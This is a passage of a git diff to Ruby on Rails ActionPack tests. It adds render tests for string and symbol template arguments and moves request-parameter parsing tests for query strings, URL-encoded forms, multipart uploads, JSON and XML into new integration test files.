@@ -193,6 +206,11 @@ class TestController < ActionController::Base
render :template => "test/hello"
end
+ def render_xml_hello_as_string_template
+ @name = "David"
+ render "test/hello"
+ end
+
def render_xml_with_custom_content_type
render :xml => "<blah/>", :content_type => "application/atomsvc+xml"
end
@@ -282,6 +300,14 @@ class TestController < ActionController::Base
render :action => "hello_world", :layout => "standard"
end
+ def layout_test_with_different_layout_and_string_action
+ render "hello_world", :layout => "standard"
+ end
+
+ def layout_test_with_different_layout_and_symbol_action
+ render :hello_world, :layout => "standard"
+ end
+
def rendering_without_layout
render :action => "hello_world", :layout => false
end
@@ -323,6 +349,10 @@ class TestController < ActionController::Base
render :template => "test/hello_world"
end
+ def render_with_explicit_string_template
+ render "test/hello_world"
+ end
+
def render_with_explicit_template_with_locals
render :template => "test/render_file_with_locals", :locals => { :secret => 'area51' }
end
@@ -645,6 +675,7 @@ class TestController < ActionController::Base
"accessing_params_in_template",
"accessing_params_in_template_with_layout",
"render_with_explicit_template",
+ "render_with_explicit_string_template",
"render_js_with_explicit_template",
"render_js_with_explicit_action_template",
"delete_with_js", "update_page", "update_page_with_instance_variables"
@@ -724,6 +755,12 @@ class RenderTest < ActionController::TestCase
assert_template "test/hello_world"
end
+ def test_render_action_hello_world_as_string
+ get :render_action_hello_world_as_string
+ assert_equal "Hello world!", @response.body
+ assert_template "test/hello_world"
+ end
+
def test_render_action_with_symbol
get :render_action_hello_world_with_symbol
assert_template "test/hello_world"
@@ -749,6 +786,11 @@ class RenderTest < ActionController::TestCase
assert_equal "The secret is in the sauce\n", @response.body
end
+ def test_render_file_as_string_with_instance_variables
+ get :render_file_as_string_with_instance_variables
+ assert_equal "The secret is in the sauce\n", @response.body
+ end
+
def test_render_file_not_using_full_path
get :render_file_not_using_full_path
assert_equal "The secret is in the sauce\n", @response.body
@@ -764,6 +806,11 @@ class RenderTest < ActionController::TestCase
assert_equal "The secret is in the sauce\n", @response.body
end
+ def test_render_file_as_string_with_locals
+ get :render_file_as_string_with_locals
+ assert_equal "The secret is in the sauce\n", @response.body
+ end
+
def test_render_file_from_template
get :render_file_from_template
assert_equal "The secret is in the sauce\n", @response.body
@@ -829,10 +876,6 @@ class RenderTest < ActionController::TestCase
assert_equal 'appended', @response.body
end
- def test_attempt_to_render_with_invalid_arguments
- assert_raises(ActionController::RenderError) { get :render_invalid_args }
- end
-
def test_attempt_to_access_object_method
assert_raises(ActionController::UnknownAction, "No action responded to [clone]") { get :clone }
end
@@ -873,6 +916,12 @@ class RenderTest < ActionController::TestCase
assert_equal "application/xml", @response.content_type
end
+ def test_render_xml_as_string_template
+ get :render_xml_hello_as_string_template
+ assert_equal "<html>\n <p>Hello David</p>\n<p>This is grand!</p>\n</html>\n", @response.body
+ assert_equal "application/xml", @response.content_type
+ end
+
def test_render_xml_with_default
get :greeting
assert_equal "<p>This is grand!</p>\n", @response.body
@@ -1012,6 +1061,16 @@ class RenderTest < ActionController::TestCase
assert_equal "<html>Hello world!</html>", @response.body
end
+ def test_layout_test_with_different_layout_and_string_action
+ get :layout_test_with_different_layout_and_string_action
+ assert_equal "<html>Hello world!</html>", @response.body
+ end
+
+ def test_layout_test_with_different_layout_and_symbol_action
+ get :layout_test_with_different_layout_and_symbol_action
+ assert_equal "<html>Hello world!</html>", @response.body
+ end
+
def test_rendering_without_layout
get :rendering_without_layout
assert_equal "Hello world!", @response.body
@@ -1058,6 +1117,11 @@ class RenderTest < ActionController::TestCase
assert_response :success
end
+ def test_render_with_explicit_string_template
+ get :render_with_explicit_string_template
+ assert_equal "<html>Hello world!</html>", @response.body
+ end
+
def test_double_render
assert_raises(ActionController::DoubleRenderError) { get :double_render }
end
@@ -1154,6 +1218,11 @@ class RenderTest < ActionController::TestCase
assert_equal "404 Not Found", @response.status
assert_response :not_found
+ get :head_with_symbolic_status, :status => "no_content"
+ assert_equal "204 No Content", @response.status
+ assert !@response.headers.include?('Content-Length')
+ assert_response :no_content
+
ActionController::StatusCodes::SYMBOL_TO_STATUS_CODE.each do |status, code|
get :head_with_symbolic_status, :status => status.to_s
assert_equal code, @response.response_code
@@ -1406,7 +1475,7 @@ class EtagRenderTest < ActionController::TestCase
def test_render_against_etag_request_should_have_no_content_length_when_match
@request.if_none_match = etag_for("hello david")
get :render_hello_world_from_variable
- assert !@response.headers.has_key?("Content-Length")
+ assert !@response.headers.has_key?("Content-Length"), @response.headers['Content-Length']
end
def test_render_against_etag_request_should_200_when_no_match
diff --git a/actionpack/test/controller/request/json_params_parsing_test.rb b/actionpack/test/controller/request/json_params_parsing_test.rb
new file mode 100644
index 0000000000..a3dde72c4e
--- /dev/null
+++ b/actionpack/test/controller/request/json_params_parsing_test.rb
@@ -0,0 +1,45 @@
+require 'abstract_unit'
+
+class JsonParamsParsingTest < ActionController::IntegrationTest
+ class TestController < ActionController::Base
+ class << self
+ attr_accessor :last_request_parameters
+ end
+
+ def parse
+ self.class.last_request_parameters = request.request_parameters
+ head :ok
+ end
+ end
+
+ def teardown
+ TestController.last_request_parameters = nil
+ end
+
+ test "parses json params for application json" do
+ assert_parses(
+ {"person" => {"name" => "David"}},
+ "{\"person\": {\"name\": \"David\"}}", { 'CONTENT_TYPE' => 'application/json' }
+ )
+ end
+
+ test "parses json params for application jsonrequest" do
+ assert_parses(
+ {"person" => {"name" => "David"}},
+ "{\"person\": {\"name\": \"David\"}}", { 'CONTENT_TYPE' => 'application/jsonrequest' }
+ )
+ end
+
+ private
+ def assert_parses(expected, actual, headers = {})
+ with_routing do |set|
+ set.draw do |map|
+ map.connect ':action', :controller => "json_params_parsing_test/test"
+ end
+
+ post "/parse", actual, headers
+ assert_response :ok
+ assert_equal(expected, TestController.last_request_parameters)
+ end
+ end
+end
diff --git a/actionpack/test/controller/request/multipart_params_parsing_test.rb b/actionpack/test/controller/request/multipart_params_parsing_test.rb
new file mode 100644
index 0000000000..054519d0d2
--- /dev/null
+++ b/actionpack/test/controller/request/multipart_params_parsing_test.rb
@@ -0,0 +1,223 @@
+require 'abstract_unit'
+
+class MultipartParamsParsingTest < ActionController::IntegrationTest
+ class TestController < ActionController::Base
+ class << self
+ attr_accessor :last_request_parameters
+ end
+
+ def parse
+ self.class.last_request_parameters = request.request_parameters
+ head :ok
+ end
+
+ def read
+ render :text => "File: #{params[:uploaded_data].read}"
+ end
+ end
+
+ FIXTURE_PATH = File.dirname(__FILE__) + '/../../fixtures/multipart'
+
+ def teardown
+ TestController.last_request_parameters = nil
+ end
+
+ test "parses single parameter" do
+ assert_equal({ 'foo' => 'bar' }, parse_multipart('single_parameter'))
+ end
+
+ test "parses bracketed parameters" do
+ assert_equal({ 'foo' => { 'baz' => 'bar'}}, parse_multipart('bracketed_param'))
+ end
+
+ test "parses text file" do
+ params = parse_multipart('text_file')
+ assert_equal %w(file foo), params.keys.sort
+ assert_equal 'bar', params['foo']
+
+ file = params['file']
+ assert_kind_of Tempfile, file
+ assert_equal 'file.txt', file.original_filename
+ assert_equal "text/plain", file.content_type
+ assert_equal 'contents', file.read
+ end
+
+ test "parses boundary problem file" do
+ params = parse_multipart('boundary_problem_file')
+ assert_equal %w(file foo), params.keys.sort
+
+ file = params['file']
+ foo = params['foo']
+
+ assert_kind_of Tempfile, file
+
+ assert_equal 'file.txt', file.original_filename
+ assert_equal "text/plain", file.content_type
+
+ assert_equal 'bar', foo
+ end
+
+ test "parses large text file" do
+ params = parse_multipart('large_text_file')
+ assert_equal %w(file foo), params.keys.sort
+ assert_equal 'bar', params['foo']
+
+ file = params['file']
+
+ assert_kind_of Tempfile, file
+
+ assert_equal 'file.txt', file.original_filename
+ assert_equal "text/plain", file.content_type
+ assert ('a' * 20480) == file.read
+ end
+
+ test "parses binary file" do
+ params = parse_multipart('binary_file')
+ assert_equal %w(file flowers foo), params.keys.sort
+ assert_equal 'bar', params['foo']
+
+ file = params['file']
+ assert_kind_of Tempfile, file
+ assert_equal 'file.csv', file.original_filename
+ assert_nil file.content_type
+ assert_equal 'contents', file.read
+
+ file = params['flowers']
+ assert_kind_of Tempfile, file
+ assert_equal 'flowers.jpg', file.original_filename
+ assert_equal "image/jpeg", file.content_type
+ assert_equal 19512, file.size
+ end
+
+ test "parses mixed files" do
+ params = parse_multipart('mixed_files')
+ assert_equal %w(files foo), params.keys.sort
+ assert_equal 'bar', params['foo']
+
+ # Ruby CGI doesn't handle multipart/mixed for us.
+ files = params['files']
+ assert_kind_of String, files
+ files.force_encoding('ASCII-8BIT') if files.respond_to?(:force_encoding)
+ assert_equal 19756, files.size
+ end
+
+ test "does not create tempfile if no file has been selected" do
+ params = parse_multipart('none')
+ assert_equal %w(files submit-name), params.keys.sort
+ assert_equal 'Larry', params['submit-name']
+ assert_equal nil, params['files']
+ end
+
+ test "parses empty upload file" do
+ params = parse_multipart('empty')
+ assert_equal %w(files submit-name), params.keys.sort
+ assert_equal 'Larry', params['submit-name']
+ assert params['files']
+ assert_equal "", params['files'].read
+ end
+
+ test "uploads and reads binary file" do
+ with_test_routing do
+ fixture = FIXTURE_PATH + "/mona_lisa.jpg"
+ params = { :uploaded_data => fixture_file_upload(fixture, "image/jpg") }
+ post '/read', params
+ expected_length = 'File: '.length + File.size(fixture)
+ assert_equal expected_length, response.content_length
+ end
+ end
+
+ test "uploads and reads file" do
+ with_test_routing do
+ post '/read', :uploaded_data => fixture_file_upload(FIXTURE_PATH + "/hello.txt", "text/plain")
+ assert_equal "File: Hello", response.body
+ end
+ end
+
+ # The lint wrapper is used in integration tests
+ # instead of a normal StringIO class
+ InputWrapper = Rack::Lint::InputWrapper
+
+ test "parses unwindable stream" do
+ InputWrapper.any_instance.stubs(:rewind).raises(Errno::ESPIPE)
+ params = parse_multipart('large_text_file')
+ assert_equal %w(file foo), params.keys.sort
+ assert_equal 'bar', params['foo']
+ end
+
+ test "uploads and reads file with unwindable input" do
+ InputWrapper.any_instance.stubs(:rewind).raises(Errno::ESPIPE)
+
+ with_test_routing do
+ post '/read', :uploaded_data => fixture_file_upload(FIXTURE_PATH + "/hello.txt", "text/plain")
+ assert_equal "File: Hello", response.body
+ end
+ end
+
+ test "passes through rack middleware and uploads file" do
+ with_muck_middleware do
+ with_test_routing do
+ post '/read', :uploaded_data => fixture_file_upload(FIXTURE_PATH + "/hello.txt", "text/plain")
+ assert_equal "File: Hello", response.body
+ end
+ end
+ end
+
+ test "passes through rack middleware and uploads file with unwindable input" do
+ InputWrapper.any_instance.stubs(:rewind).raises(Errno::ESPIPE)
+
+ with_muck_middleware do
+ with_test_routing do
+ post '/read', :uploaded_data => fixture_file_upload(FIXTURE_PATH + "/hello.txt", "text/plain")
+ assert_equal "File: Hello", response.body
+ end
+ end
+ end
+
+ private
+ def fixture(name)
+ File.open(File.join(FIXTURE_PATH, name), 'rb') do |file|
+ { "rack.input" => file.read,
+ "CONTENT_TYPE" => "multipart/form-data; boundary=AaB03x",
+ "CONTENT_LENGTH" => file.stat.size.to_s }
+ end
+ end
+
+ def parse_multipart(name)
+ with_test_routing do
+ headers = fixture(name)
+ post "/parse", headers.delete("rack.input"), headers
+ assert_response :ok
+ TestController.last_request_parameters
+ end
+ end
+
+ def with_test_routing
+ with_routing do |set|
+ set.draw do |map|
+ map.connect ':action', :controller => "multipart_params_parsing_test/test"
+ end
+ yield
+ end
+ end
+
+ class MuckMiddleware
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ req = Rack::Request.new(env)
+ req.params # Parse params
+ @app.call(env)
+ end
+ end
+
+ def with_muck_middleware
+ original_middleware = ActionController::Dispatcher.middleware
+ middleware = original_middleware.dup
+ middleware.insert_after ActionController::RewindableInput, MuckMiddleware
+ ActionController::Dispatcher.middleware = middleware
+ yield
+ ActionController::Dispatcher.middleware = original_middleware
+ end
+end
diff --git a/actionpack/test/controller/request/query_string_parsing_test.rb b/actionpack/test/controller/request/query_string_parsing_test.rb
new file mode 100644
index 0000000000..a31e326ddf
--- /dev/null
+++ b/actionpack/test/controller/request/query_string_parsing_test.rb
@@ -0,0 +1,120 @@
+require 'abstract_unit'
+
+class QueryStringParsingTest < ActionController::IntegrationTest
+ class TestController < ActionController::Base
+ class << self
+ attr_accessor :last_query_parameters
+ end
+
+ def parse
+ self.class.last_query_parameters = request.query_parameters
+ head :ok
+ end
+ end
+
+ def teardown
+ TestController.last_query_parameters = nil
+ end
+
+ test "query string" do
+ assert_parses(
+ {"action" => "create_customer", "full_name" => "David Heinemeier Hansson", "customerId" => "1"},
+ "action=create_customer&full_name=David%20Heinemeier%20Hansson&customerId=1"
+ )
+ end
+
+ test "deep query string" do
+ assert_parses(
+ {'x' => {'y' => {'z' => '10'}}},
+ "x[y][z]=10"
+ )
+ end
+
+ test "deep query string with array" do
+ assert_parses({'x' => {'y' => {'z' => ['10']}}}, 'x[y][z][]=10')
+ assert_parses({'x' => {'y' => {'z' => ['10', '5']}}}, 'x[y][z][]=10&x[y][z][]=5')
+ end
+
+ test "deep query string with array of hash" do
+ assert_parses({'x' => {'y' => [{'z' => '10'}]}}, 'x[y][][z]=10')
+ assert_parses({'x' => {'y' => [{'z' => '10', 'w' => '10'}]}}, 'x[y][][z]=10&x[y][][w]=10')
+ assert_parses({'x' => {'y' => [{'z' => '10', 'v' => {'w' => '10'}}]}}, 'x[y][][z]=10&x[y][][v][w]=10')
+ end
+
+ test "deep query string with array of hashes with one pair" do
+ assert_parses({'x' => {'y' => [{'z' => '10'}, {'z' => '20'}]}}, 'x[y][][z]=10&x[y][][z]=20')
+ end
+
+ test "deep query string with array of hashes with multiple pairs" do
+ assert_parses(
+ {'x' => {'y' => [{'z' => '10', 'w' => 'a'}, {'z' => '20', 'w' => 'b'}]}},
+ 'x[y][][z]=10&x[y][][w]=a&x[y][][z]=20&x[y][][w]=b'
+ )
+ end
+
+ test "query string with nil" do
+ assert_parses(
+ { "action" => "create_customer", "full_name" => ''},
+ "action=create_customer&full_name="
+ )
+ end
+
+ test "query string with array" do
+ assert_parses(
+ { "action" => "create_customer", "selected" => ["1", "2", "3"]},
+ "action=create_customer&selected[]=1&selected[]=2&selected[]=3"
+ )
+ end
+
+ test "query string with amps" do
+ assert_parses(
+ { "action" => "create_customer", "name" => "Don't & Does"},
+ "action=create_customer&name=Don%27t+%26+Does"
+ )
+ end
+
+ test "query string with many equal" do
+ assert_parses(
+ { "action" => "create_customer", "full_name" => "abc=def=ghi"},
+ "action=create_customer&full_name=abc=def=ghi"
+ )
+ end
+
+ test "query string without equal" do
+ assert_parses({ "action" => nil }, "action")
+ end
+
+ test "query string with empty key" do
+ assert_parses(
+ { "action" => "create_customer", "full_name" => "David Heinemeier Hansson" },
+ "action=create_customer&full_name=David%20Heinemeier%20Hansson&=Save"
+ )
+ end
+
+ test "query string with many ampersands" do
+ assert_parses(
+ { "action" => "create_customer", "full_name" => "David Heinemeier Hansson"},
+ "&action=create_customer&&&full_name=David%20Heinemeier%20Hansson"
+ )
+ end
+
+ test "unbalanced query string with array" do
+ assert_parses(
+ {'location' => ["1", "2"], 'age_group' => ["2"]},
+ "location[]=1&location[]=2&age_group[]=2"
+ )
+ end
+
+ private
+ def assert_parses(expected, actual)
+ with_routing do |set|
+ set.draw do |map|
+ map.connect ':action', :controller => "query_string_parsing_test/test"
+ end
+
+ get "/parse", actual
+ assert_response :ok
+ assert_equal(expected, TestController.last_query_parameters)
+ end
+ end
+end
diff --git a/actionpack/test/controller/request/url_encoded_params_parsing_test.rb b/actionpack/test/controller/request/url_encoded_params_parsing_test.rb
new file mode 100644
index 0000000000..89239687de
--- /dev/null
+++ b/actionpack/test/controller/request/url_encoded_params_parsing_test.rb
@@ -0,0 +1,220 @@
+require 'abstract_unit'
+
+class UrlEncodedParamsParsingTest < ActionController::IntegrationTest
+ class TestController < ActionController::Base
+ class << self
+ attr_accessor :last_request_parameters, :last_request_type
+ end
+
+ def parse
+ self.class.last_request_parameters = request.request_parameters
+ head :ok
+ end
+ end
+
+ def teardown
+ TestController.last_request_parameters = nil
+ end
+
+ test "parses unbalanced query string with array" do
+ assert_parses(
+ {'location' => ["1", "2"], 'age_group' => ["2"]},
+ "location[]=1&location[]=2&age_group[]=2"
+ )
+ end
+
+ test "parses nested hash" do
+ query = [
+ "note[viewers][viewer][][type]=User",
+ "note[viewers][viewer][][id]=1",
+ "note[viewers][viewer][][type]=Group",
+ "note[viewers][viewer][][id]=2"
+ ].join("&")
+
+ expected = { "note" => { "viewers"=>{"viewer"=>[{ "id"=>"1", "type"=>"User"}, {"type"=>"Group", "id"=>"2"} ]} } }
+ assert_parses(expected, query)
+ end
+
+ test "parses more complex nesting" do
+ query = [
+ "customers[boston][first][name]=David",
+ "customers[boston][first][url]=http://David",
+ "customers[boston][second][name]=Allan",
+ "customers[boston][second][url]=http://Allan",
+ "something_else=blah",
+ "something_nil=",
+ "something_empty=",
+ "products[first]=Apple Computer",
+ "products[second]=Pc",
+ "=Save"
+ ].join("&")
+
+ expected = {
+ "customers" => {
+ "boston" => {
+ "first" => {
+ "name" => "David",
+ "url" => "http://David"
+ },
+ "second" => {
+ "name" => "Allan",
+ "url" => "http://Allan"
+ }
+ }
+ },
+ "something_else" => "blah",
+ "something_empty" => "",
+ "something_nil" => "",
+ "products" => {
+ "first" => "Apple Computer",
+ "second" => "Pc"
+ }
+ }
+
+ assert_parses expected, query
+ end
+
+ test "parses params with array" do
+ query = "selected[]=1&selected[]=2&selected[]=3"
+ expected = { "selected" => [ "1", "2", "3" ] }
+ assert_parses expected, query
+ end
+
+ test "parses params with non alphanumeric name" do
+ query = "a/b[c]=d"
+ expected = { "a/b" => { "c" => "d" }}
+ assert_parses expected, query
+ end
+
+ test "parses params with single brackets in the middle" do
+ query = "a/b[c]d=e"
+ expected = { "a/b" => {} }
+ assert_parses expected, query
+ end
+
+ test "parses params with separated brackets" do
+ query = "a/b@[c]d[e]=f"
+ expected = { "a/b@" => { }}
+ assert_parses expected, query
+ end
+
+ test "parses params with separated brackets and array" do
+ query = "a/b@[c]d[e][]=f"
+ expected = { "a/b@" => { }}
+ assert_parses expected, query
+ end
+
+ test "parses params with unmatched brackets and array" do
+ query = "a/b@[c][d[e][]=f"
+ expected = { "a/b@" => { "c" => { }}}
+ assert_parses expected, query
+ end
+
+ test "parses params with nil key" do
+ query = "=&test2=value1"
+ expected = { "test2" => "value1" }
+ assert_parses expected, query
+ end
+
+ test "parses params with array prefix and hashes" do
+ query = "a[][b][c]=d"
+ expected = {"a" => [{"b" => {"c" => "d"}}]}
+ assert_parses expected, query
+ end
+
+ test "parses params with complex nesting" do
+ query = "a[][b][c][][d][]=e"
+ expected = {"a" => [{"b" => {"c" => [{"d" => ["e"]}]}}]}
+ assert_parses expected, query
+ end
+
+ test "parses params with file path" do
+ query = [
+ "customers[boston][first][name]=David",
+ "something_else=blah",
+ "logo=#{File.expand_path(__FILE__)}"
+ ].join("&")
+
+ expected = {
+ "customers" => {
+ "boston" => {
+ "first" => {
+ "name" => "David"
+ }
+ }
+ },
+ "something_else" => "blah",
+ "logo" => File.expand_path(__FILE__),
+ }
+
+ assert_parses expected, query
+ end
+
+ test "parses params with Safari 2 trailing null character" do
+ query = "selected[]=1&selected[]=2&selected[]=3\0"
+ expected = { "selected" => [ "1", "2", "3" ] }
+ assert_parses expected, query
+ end
+
+ test "parses params with Prototype's hack around Safari 2 trailing null character" do
+ query = "selected[]=1&selected[]=2&selected[]=3&_="
+ expected = { "selected" => [ "1", "2", "3" ] }
+ assert_parses expected, query
+ end
+
+ test "passes through rack middleware and parses params" do
+ with_muck_middleware do
+ assert_parses({ "a" => { "b" => "c" } }, "a[b]=c")
+ end
+ end
+
+ # The lint wrapper is used in integration tests
+ # instead of a normal StringIO class
+ InputWrapper = Rack::Lint::InputWrapper
+
+ test "passes through rack middleware and parses params with unwindable input" do
+ InputWrapper.any_instance.stubs(:rewind).raises(Errno::ESPIPE)
+ with_muck_middleware do
+ assert_parses({ "a" => { "b" => "c" } }, "a[b]=c")
+ end
+ end
+
+ private
+ class MuckMiddleware
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ req = Rack::Request.new(env)
+ req.params # Parse params
+ @app.call(env)
+ end
+ end
+
+ def with_muck_middleware
+ original_middleware = ActionController::Dispatcher.middleware
+ middleware = original_middleware.dup
+ middleware.insert_after ActionController::RewindableInput, MuckMiddleware
+ ActionController::Dispatcher.middleware = middleware
+ yield
+ ActionController::Dispatcher.middleware = original_middleware
+ end
+
+ def with_test_routing
+ with_routing do |set|
+ set.draw do |map|
+ map.connect ':action', :controller => "url_encoded_params_parsing_test/test"
+ end
+ yield
+ end
+ end
+
+ def assert_parses(expected, actual)
+ with_test_routing do
+ post "/parse", actual
+ assert_response :ok
+ assert_equal(expected, TestController.last_request_parameters)
+ end
+ end
+end
diff --git a/actionpack/test/controller/request/xml_params_parsing_test.rb b/actionpack/test/controller/request/xml_params_parsing_test.rb
new file mode 100644
index 0000000000..ee764e726e
--- /dev/null
+++ b/actionpack/test/controller/request/xml_params_parsing_test.rb
@@ -0,0 +1,88 @@
+require 'abstract_unit'
+
+class XmlParamsParsingTest < ActionController::IntegrationTest
+ class TestController < ActionController::Base
+ class << self
+ attr_accessor :last_request_parameters
+ end
+
+ def parse
+ self.class.last_request_parameters = request.request_parameters
+ head :ok
+ end
+ end
+
+ def teardown
+ TestController.last_request_parameters = nil
+ end
+
+ test "parses hash params" do
+ with_test_routing do
+ xml = "<person><name>David</name></person>"
+ post "/parse", xml, default_headers
+ assert_response :ok
+ assert_equal({"person" => {"name" => "David"}}, TestController.last_request_parameters)
+ end
+ end
+
+ test "parses single file" do
+ with_test_routing do
+ xml = "<person><name>David</name><avatar type='file' name='me.jpg' content_type='image/jpg'>#{ActiveSupport::Base64.encode64('ABC')}</avatar></person>"
+ post "/parse", xml, default_headers
+ assert_response :ok
+
+ person = TestController.last_request_parameters
+ assert_equal "image/jpg", person['person']['avatar'].content_type
+ assert_equal "me.jpg", person['person']['avatar'].original_filename
+ assert_equal "ABC", person['person']['avatar'].read
+ end
+ end
+
+ test "parses multiple files" do
+ xml = <<-end_body
+ <person>
+ <name>David</name>
+ <avatars>
+ <avatar type='file' name='me.jpg' content_type='image/jpg'>#{ActiveSupport::Base64.encode64('ABC')}</avatar>
+ <avatar type='file' name='you.gif' content_type='image/gif'>#{ActiveSupport::Base64.encode64('DEF')}</avatar>
+ </avatars>
+ </person>
+ end_body
+
+ with_test_routing do
+ post "/parse", xml, default_headers
+ assert_response :ok
+ end
+
+ person = TestController.last_request_parameters
+
+ assert_equal "image/jpg", person['person']['avatars']['avatar'].first.content_type
+ assert_equal "me.jpg", person['person']['avatars']['avatar'].first.original_filename
+ assert_equal "ABC", person['person']['avatars']['avatar'].first.read
+
+ assert_equal "image/gif", person['person']['avatars']['avatar'].last.content_type
+ assert_equal "you.gif", person['person']['avatars']['avatar'].last.original_filename
+ assert_equal "DEF", person['person']['avatars']['avatar'].last.read
+ end
+
+ private
+ def with_test_routing
+ with_routing do |set|
+ set.draw do |map|
+ map.connect ':action', :controller => "xml_params_parsing_test/test"
+ end
+ yield
+ end
+ end
+
+ def default_headers
+ {'CONTENT_TYPE' => 'application/xml'}
+ end
+end
+
+class LegacyXmlParamsParsingTest < XmlParamsParsingTest
+ private
+ def default_headers
+ {'HTTP_X_POST_DATA_FORMAT' => 'xml'}
+ end
+end
diff --git a/actionpack/test/controller/request_test.rb b/actionpack/test/controller/request_test.rb
index 3e10a4665e..7097d08076 100644
--- a/actionpack/test/controller/request_test.rb
+++ b/actionpack/test/controller/request_test.rb
@@ -391,8 +391,8 @@ class RequestTest < ActiveSupport::TestCase
end
def test_parameters
- @request.instance_eval { @request_parameters = { "foo" => 1 } }
- @request.instance_eval { @query_parameters = { "bar" => 2 } }
+ @request.stubs(:request_parameters).returns({ "foo" => 1 })
+ @request.stubs(:query_parameters).returns({ "bar" => 2 })
assert_equal({"foo" => 1, "bar" => 2}, @request.parameters)
assert_equal({"foo" => 1}, @request.request_parameters)
@@ -405,487 +405,3 @@ class RequestTest < ActiveSupport::TestCase
@request.request_method(true)
end
end
-
-class UrlEncodedRequestParameterParsingTest < ActiveSupport::TestCase
- def setup
- @query_string = "action=create_customer&full_name=David%20Heinemeier%20Hansson&customerId=1"
- @query_string_with_empty = "action=create_customer&full_name="
- @query_string_with_array = "action=create_customer&selected[]=1&selected[]=2&selected[]=3"
- @query_string_with_amps = "action=create_customer&name=Don%27t+%26+Does"
- @query_string_with_multiple_of_same_name =
- "action=update_order&full_name=Lau%20Taarnskov&products=4&products=2&products=3"
- @query_string_with_many_equal = "action=create_customer&full_name=abc=def=ghi"
- @query_string_without_equal = "action"
- @query_string_with_many_ampersands =
- "&action=create_customer&&&full_name=David%20Heinemeier%20Hansson"
- @query_string_with_empty_key = "action=create_customer&full_name=David%20Heinemeier%20Hansson&=Save"
- end
-
- def test_query_string
- assert_equal(
- { "action" => "create_customer", "full_name" => "David Heinemeier Hansson", "customerId" => "1"},
- ActionController::Request.parse_query_parameters(@query_string)
- )
- end
-
- def test_deep_query_string
- expected = {'x' => {'y' => {'z' => '10'}}}
- assert_equal(expected, ActionController::Request.parse_query_parameters('x[y][z]=10'))
- end
-
- def test_deep_query_string_with_array
- assert_equal({'x' => {'y' => {'z' => ['10']}}}, ActionController::Request.parse_query_parameters('x[y][z][]=10'))
- assert_equal({'x' => {'y' => {'z' => ['10', '5']}}}, ActionController::Request.parse_query_parameters('x[y][z][]=10&x[y][z][]=5'))
- end
-
- def test_deep_query_string_with_array_of_hash
- assert_equal({'x' => {'y' => [{'z' => '10'}]}}, ActionController::Request.parse_query_parameters('x[y][][z]=10'))
- assert_equal({'x' => {'y' => [{'z' => '10', 'w' => '10'}]}}, ActionController::Request.parse_query_parameters('x[y][][z]=10&x[y][][w]=10'))
- end
-
- def test_deep_query_string_with_array_of_hashes_with_one_pair
- assert_equal({'x' => {'y' => [{'z' => '10'}, {'z' => '20'}]}}, ActionController::Request.parse_query_parameters('x[y][][z]=10&x[y][][z]=20'))
- assert_equal("10", ActionController::Request.parse_query_parameters('x[y][][z]=10&x[y][][z]=20')["x"]["y"].first["z"])
- assert_equal("10", ActionController::Request.parse_query_parameters('x[y][][z]=10&x[y][][z]=20').with_indifferent_access[:x][:y].first[:z])
- end
-
- def test_deep_query_string_with_array_of_hashes_with_multiple_pairs
- assert_equal(
- {'x' => {'y' => [{'z' => '10', 'w' => 'a'}, {'z' => '20', 'w' => 'b'}]}},
- ActionController::Request.parse_query_parameters('x[y][][z]=10&x[y][][w]=a&x[y][][z]=20&x[y][][w]=b')
- )
- end
-
- def test_query_string_with_nil
- assert_equal(
- { "action" => "create_customer", "full_name" => ''},
- ActionController::Request.parse_query_parameters(@query_string_with_empty)
- )
- end
-
- def test_query_string_with_array
- assert_equal(
- { "action" => "create_customer", "selected" => ["1", "2", "3"]},
- ActionController::Request.parse_query_parameters(@query_string_with_array)
- )
- end
-
- def test_query_string_with_amps
- assert_equal(
- { "action" => "create_customer", "name" => "Don't & Does"},
- ActionController::Request.parse_query_parameters(@query_string_with_amps)
- )
- end
-
- def test_query_string_with_many_equal
- assert_equal(
- { "action" => "create_customer", "full_name" => "abc=def=ghi"},
- ActionController::Request.parse_query_parameters(@query_string_with_many_equal)
- )
- end
-
- def test_query_string_without_equal
- assert_equal(
- { "action" => nil },
- ActionController::Request.parse_query_parameters(@query_string_without_equal)
- )
- end
-
- def test_query_string_with_empty_key
- assert_equal(
- { "action" => "create_customer", "full_name" => "David Heinemeier Hansson" },
- ActionController::Request.parse_query_parameters(@query_string_with_empty_key)
- )
- end
-
- def test_query_string_with_many_ampersands
- assert_equal(
- { "action" => "create_customer", "full_name" => "David Heinemeier Hansson"},
- ActionController::Request.parse_query_parameters(@query_string_with_many_ampersands)
- )
- end
-
- def test_unbalanced_query_string_with_array
- assert_equal(
- {'location' => ["1", "2"], 'age_group' => ["2"]},
- ActionController::Request.parse_query_parameters("location[]=1&location[]=2&age_group[]=2")
- )
- assert_equal(
- {'location' => ["1", "2"], 'age_group' => ["2"]},
- ActionController::Request.parse_request_parameters({'location[]' => ["1", "2"],
- 'age_group[]' => ["2"]})
- )
- end
-
- def test_request_hash_parsing
- query = {
- "note[viewers][viewer][][type]" => ["User", "Group"],
- "note[viewers][viewer][][id]" => ["1", "2"]
- }
-
- expected = { "note" => { "viewers"=>{"viewer"=>[{ "id"=>"1", "type"=>"User"}, {"type"=>"Group", "id"=>"2"} ]} } }
-
- assert_equal(expected, ActionController::Request.parse_request_parameters(query))
- end
-
- def test_parse_params
- input = {
- "customers[boston][first][name]" => [ "David" ],
- "customers[boston][first][url]" => [ "http://David" ],
- "customers[boston][second][name]" => [ "Allan" ],
- "customers[boston][second][url]" => [ "http://Allan" ],
- "something_else" => [ "blah" ],
- "something_nil" => [ nil ],
- "something_empty" => [ "" ],
- "products[first]" => [ "Apple Computer" ],
- "products[second]" => [ "Pc" ],
- "" => [ 'Save' ]
- }
-
- expected_output = {
- "customers" => {
- "boston" => {
- "first" => {
- "name" => "David",
- "url" => "http://David"
- },
- "second" => {
- "name" => "Allan",
- "url" => "http://Allan"
- }
- }
- },
- "something_else" => "blah",
- "something_empty" => "",
- "something_nil" => "",
- "products" => {
- "first" => "Apple Computer",
- "second" => "Pc"
- }
- }
-
- assert_equal expected_output, ActionController::Request.parse_request_parameters(input)
- end
-
- UploadedStringIO = ActionController::UploadedStringIO
- class MockUpload < UploadedStringIO
- def initialize(content_type, original_path, *args)
- self.content_type = content_type
- self.original_path = original_path
- super *args
- end
- end
-
- def test_parse_params_from_multipart_upload
- file = MockUpload.new('img/jpeg', 'foo.jpg')
- ie_file = MockUpload.new('img/jpeg', 'c:\\Documents and Settings\\foo\\Desktop\\bar.jpg')
